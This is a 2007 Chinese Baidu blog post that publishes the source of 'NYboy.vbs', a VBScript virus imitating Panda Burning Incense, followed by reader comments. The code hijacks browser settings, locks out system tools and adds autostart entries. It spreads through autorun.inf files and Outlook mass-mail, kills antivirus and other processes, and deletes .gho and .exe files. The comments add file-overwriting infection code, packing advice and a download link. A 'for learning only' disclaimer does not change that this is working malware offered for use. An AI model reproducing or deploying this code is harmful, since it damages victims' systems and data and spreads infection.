百度空间 | 百度首页 
               
 
查看文章
  
NYboy.vbs病毒源代码公布，我来模拟熊猫烧香[原创]
2007-03-20 23:52

使用过U盘的朋友都知道u盘病毒是一种Autorun自运行病毒,当双击时触发病毒体,会复制自身到C D E,系统盘system32下等盘符,(生成exe文件和一个Autorun.inf文件),同时修改注册表,当点击C盘等盘符右键时,会有一个auto命令(黑色粗体)或者是两个开始命令,本人学习vbs才15天,我也来模拟下这个autorun病毒和部分熊猫烧香功能,本人能力有限, 只能模拟这样的病毒了,声明本人模拟这个病毒,全是为了学习和技术,切忌不要搞破坏,如果有人用本人代码破坏,后果自负,为了起见 ，我仅仅提供部分代码。特地将u盘和硬盘相互感染代码省去.见谅！

on error resume next
dim fso,wsh,myfile,ws,pp,fsoFolder
set wsh=wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject")
set myfile=fso.GetFile(wscript.scriptfullname)  
'修改注册表（开始菜单里面的东西和IE各项设置)
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Search Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","c:\NYboy.vbs"
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
'使用户不能通过双击打开硬盘，这里还可以修改为使其不能通过双击打开文件夹，同理，不赘续
wsh.Regwrite "HKLM\SOFTWARE\Classes\Drive\shell\auto\command\","C:\NYboy.bat '%1'"
wsh.Regwrite "HKCR\Drive\shell\","auto"
wsh.Regwrite "HKCR\Drive\shell\auto\command\","C:\NYboy.bat '%1'"
wsh.Regwrite "HKLM\SOFTWARE\Classes\Directory\shell\","auto"
wsh.Regwrite "HKCR\Directory\shell\auto\command\","C:\NYboy.bat '%1'"
wsh.Regwrite "HKLM\SOFTWARE\Classes\Directory\shell\auto\command\","C:\NYboy.bat '%1'"
'修改默认文件图标，这里可以换成可爱的熊猫哦，（修改dll也可以实现，只是有点难）
wsh.Regwrite "HKCR\inifile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\exefile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\batfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\sysfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\inffile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\dllfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\docfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\lnkfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKCR\comfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\exefile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\txtfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\dllfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\batfile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\SOFTWARE\Classes\inifile\DefaultIcon\","SHELL32.dll,131"
wsh.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你好啊，大兵和你开个小小的玩笑"
wsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","你已经中毒了，赶快杀毒或者与QQ252287438联系"
'复制自身到C,D,E,F,U盘
myfile.copy "c:\"
myfile.copy "D:\"
myfile.copy "E:\"
myfile.copy "F:\"
myfile.copy "I:\"
myfile.attributes=34
'定义Autorun.inf 的内容　这个就是u盘病毒必须的代码部分　这里可以简单写哦^_^
If fso.FileExists("C:\autorun.inf") Then
Set objFolder = fso.GetFile("C:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>C:\autorun.inf"_  
&"&& echo open=NYboy.bat >>C:\autorun.inf"_  
&"&& echo shellexecute=NYboy.bat >>C:\autorun.inf"_  
&"&& echo shell\Auto\command=NYboy.bat>>C:\autorun.inf"_  
&"&& echo shell=Auto>>C:\autorun.inf"_
&"&& attrib +h +s +r C:\autorun.inf" ,0
set autobatc=fso.createtextfile("c:\NYboy.bat",1,ture)
autobatc.writeline("NYboy.vbs")
End If
If fso.FileExists("D:\autorun.inf") Then
Set objFolder = fso.GetFile("D:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>D:\autorun.inf"_  
&"&& echo open=NYboy.bat >>D:\autorun.inf"_  
&"&& echo shellexecute=NYboy.bat >>D:\autorun.inf"_  
&"&& echo shell\Auto\command=NYboy.bat>>D:\autorun.inf"_  
&"&& echo shell=Auto>>D:\autorun.inf"_
&"&& attrib +h +s +r D:\autorun.inf" ,0
set autobatd=fso.createtextfile("D:\NYboy.bat",1,ture)
autobatd.writeline("NYboy.vbs")
End If
If fso.FileExists("E:\autorun.inf") Then
Set objFolder = fso.GetFile("E:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>E:\autorun.inf"_  
&"&& echo open=NYboy.bat >>E:\autorun.inf"_  
&"&& echo shellexecute=NYboy.bat >>E:\autorun.inf"_  
&"&& echo shell\Auto\command=NYboy.bat>>E:\autorun.inf"_  
&"&& echo shell=Auto>>E:\autorun.inf"_
&"&& attrib +h +s +r E:\autorun.inf" ,0
set autobate=fso.createtextfile("E:\NYboy.bat",1,ture)
autobate.writeline("NYboy.vbs")
End If
If fso.FileExists("F:\autorun.inf") Then
Set objFolder = fso.GetFile("F:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>F:\autorun.inf"_  
&"&& echo open=NYboy.bat >>F:\autorun.inf"_  
&"&& echo shellexecute=NYboy.bat >>F:\autorun.inf"_  
&"&& echo shell\Auto\command=NYboy.bat>>F:\autorun.inf"_  
&"&& echo shell=Auto>>F:\autorun.inf"_
&"&& attrib +h +s +r F:\autorun.inf" ,0
set autobatf=fso.createtextfile("F:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
End If
If fso.FileExists("I:\autorun.inf") Then
Set objFolder = fso.GetFile("I:\autorun.inf")
Else
wsh.run "cmd /c echo [AutoRun]>>I:\autorun.inf"_  
&"&& echo open=NYboy.bat >>I:\autorun.inf"_  
&"&& echo shellexecute=NYboy.bat >>I:\autorun.inf"_  
&"&& echo shell\Auto\command=NYboy.bat>>I:\autorun.inf"_  
&"&& echo shell=Auto>>I:\autorun.inf"_
&"&& attrib +h +s +r I:\autorun.inf" ,0
set autobatf=fso.createtextfile("I:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
End If
'设置病毒体属性为　系统　只读　隐藏
wsh.run "cmd /c attrib +h +s +r C:\NYboy.bat"_  
&"&& attrib +h +s +r D:\NYboy.bat"_  
&"&& attrib +h +s +r E:\NYboy.bat"_  
&"&& attrib +h +s +r F:\NYboy.bat"_  
&"&& attrib +h +s +r I:\NYboy.bat",0
'强制结束某些进程,比如QQ，记事本，网页，批处理文件，卡巴，realplay等进程,运行后打不开这些文件
do
set ws=getobject("winmgmts:\\.\root\cimv2")
set pp=ws.execquery("select * from win32_process where name='taskmgr.exe'or Name = 'QQ.exe'or Name = 'notepad.exe'or Name = 'IEXPLORE.exe'or Name = 'cmd.exe'or Name = 'avp.exe'or Name = 'winRAR.exe'or Name = 'msconfig.exe'or Name = 'WINWORD.exe'")
for each i in pp
i.terminate()
wscript.sleep 100
next
loop
'删除你讨厌的镜像gho文件
set ps=ws.ExecQuery("select * from CIM_DATAFILE where Extension='GHO' or Extension='gho'or extension='exe'")
for each p in ps
p.delete
next

'使c:\windows变成回收站

If fso.FileExists("c:\Desktop.ini") Then
yc = fso.GetFile("c:\Desktop.ini")
Else
wsh.run "cmd /c echo [.ShellClassInfo] >>c:\Desktop.ini"_
&"&& echo CLSID={645FF040-5081-101B-9F08-00AA002F954E} >>c:\Desktop.ini"_
&"&& copy c:\Desktop.ini %systemroot%\Desktop.ini"_
&"&& attrib +h +r +s %systemroot%\Desktop.ini"_
&"&& attrib +h +r +s %systemdrive%\Desktop.ini"_
&"&& attrib +h +r +s %systemroot%",0
end if

'使c:\Docume~1变成回收站


If fso.FileExists("c:\Desktop.ini") Then
ya = fso.GetFile("c:\Desktop.ini")
Else
wsh.run "cmd /c echo [.ShellClassInfo] >>c:\Desktop.ini"_
&"&& echo CLSID={645FF040-5081-101B-9F08-00AA002F954E} >>c:\Desktop.ini"_
&"&& copy c:\Desktop.ini %systemdrive%\DOCUME~1\Desktop.ini"_
&"&& attrib +h +r +s %systemdrive%\DOCUME~1\Desktop.ini"_
&"&& attrib +h +r +s %systemdrive%\DOCUME~1"_
&"&& attrib +h +r +s %systemdrive%\Desktop.ini",0
end if

'使病毒可以靠邮件传播
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 5
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗？"
Mail.Body="朋友你好：您的朋友给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！                          QQ交友频道"
Mail.Attachments.Add("c:\NYboy.vbs")
Mail.Send
Next
ol.Quit


类别：默认分类 | 添加到搜藏 | 浏览() | 评论 (8)
 
最近读者：
 
网友评论：
1
2007-03-30 11:02 | 回复
如果大家认为vbs弱智，可以用vbs2exe将其转换成exe 并用图标修改工具修改为自己喜欢的图标 比如是小熊猫烧香 ，估计能把大家吓了一跳 然后把c:\1.ico换成这个本exe图标指向 就可以了 不要紧的 这个病毒杀的比较容易 如果要其更隐蔽点 可以对其加密 加壳也可以实现
 
2
2007-03-31 15:59 | 回复
如果能把下面的代码加入去 估计效果更好一点 系统盘下autorun文件的内容： [autorun] auto=Recycled\Recycled\NYboy.bat shellexecute=Recycled\Recycled\NYboy.bat shell\auto(&O)\command=Recycled\Recycled\NYboy.bat shell=auto(&0) 其他分区下autorun文件的内容： [autorun] auto=Recycled\NYboy.bat shellexecute=Recycled\NYboy.bat shell\auto(&0)\command=Recycled\NYboy.bat shell=auto(&0)
 
3
2007-03-31 15:59 | 回复
dim folder,fso,foldername,f,d,dc set fso=createobject("scripting.filesystemobject") set self=fso.opentextfile(wscript.scriptfullname,1) vbscopy=self.readall '读取病毒体，以备复制到文件 self.close set dc=fso.Drives for each d in dc if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型 wscript.echo d '弹出窗口，显示找到盘符 scan(d) end if next lsfile=wscript.scriptfullname '该脚本程序路径 set lsfile=fso.getfile(lsfile) lsfile.delete(true) '病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码） sub scan(folder_) on error resume next set folder_=fso.getfolder(folder_) set files=folder_.files for each file in files ext=fso.GetExtensionName(file) '获取文件后缀 ext=lcase(ext) '后缀名转换成小写字母 if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，最好是非正常后缀名 set ap=fso.opentextfile(file.path,2,true) ' ap.write vbscopy '覆盖文件，慎用 ap.close set cop=fso.getfile(file.path) cop.copy(file.path & ".vb
 
4
2007-04-10 20:43 | 回复
留个下载地址或发到我油箱里,谢谢!
 
5
2007-04-11 15:51 | 回复
下载地址是http://ruanji03.ys168.com/
 
6
2007-06-05 16:27 | 回复
看不懂``怎么用的呀？
 
7
2007-06-06 06:38 | 回复
保存为NYboy.vbs运行就可以了
 
8
2008-01-12 10:30 | 回复
会被杀软杀掉吗？如果会怎么办呢
 
发表评论：
姓　名：
网址或邮箱： (选填)
内　容：
验证码： 请点击后输入四位验证码，字母不区分大小写
      

     

©2009 Baidu